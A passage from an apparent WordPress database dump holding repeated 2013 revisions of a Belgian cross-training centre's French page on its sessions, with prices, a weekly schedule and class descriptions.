style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ebebeb;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:25:45', '2013-06-16 14:25:45', '', 11, 'http://www.crosstrainingcenter.be/?p=118', 0, 'revision', '', 0),
(119, 1, '2013-06-16 14:26:21', '2013-06-16 14:26:21', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fefefe;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fefefe;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:26:21', '2013-06-16 14:26:21', '', 11, 'http://www.crosstrainingcenter.be/?p=119', 0, 'revision', '', 0),
(120, 1, '2013-06-16 14:26:44', '2013-06-16 14:26:44', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #f0f0f0;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #f0f0f0;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fefefe;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:26:44', '2013-06-16 14:26:44', '', 11, 'http://www.crosstrainingcenter.be/?p=120', 0, 'revision', '', 0),
(121, 1, '2013-06-16 14:27:41', '2013-06-16 14:27:41', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #f5f5f5;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #f5f5f5;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:27:41', '2013-06-16 14:27:41', '', 11, 'http://www.crosstrainingcenter.be/?p=121', 0, 'revision', '', 0),
(122, 1, '2013-06-16 14:27:58', '2013-06-16 14:27:58', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #f5f5f5;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:27:58', '2013-06-16 14:27:58', '', 11, 'http://www.crosstrainingcenter.be/?p=122', 0, 'revision', '', 0),
(123, 1, '2013-06-16 14:28:10', '2013-06-16 14:28:10', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours ?&lt;/h2&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:28:10', '2013-06-16 14:28:10', '', 11, 'http://www.crosstrainingcenter.be/?p=123', 0, 'revision', '', 0),
(219, 1, '2013-07-03 18:25:11', '2013-07-03 18:25:11', '&lt;h2&gt;Prix&lt;/h2&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-2', '', '', '2013-07-03 18:25:11', '2013-07-03 18:25:11', '', 214, 'http://www.crosstrainingcenter.be/?p=219', 0, 'revision', '', 0),
(124, 1, '2013-06-16 14:33:05', '2013-06-16 14:33:05', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td 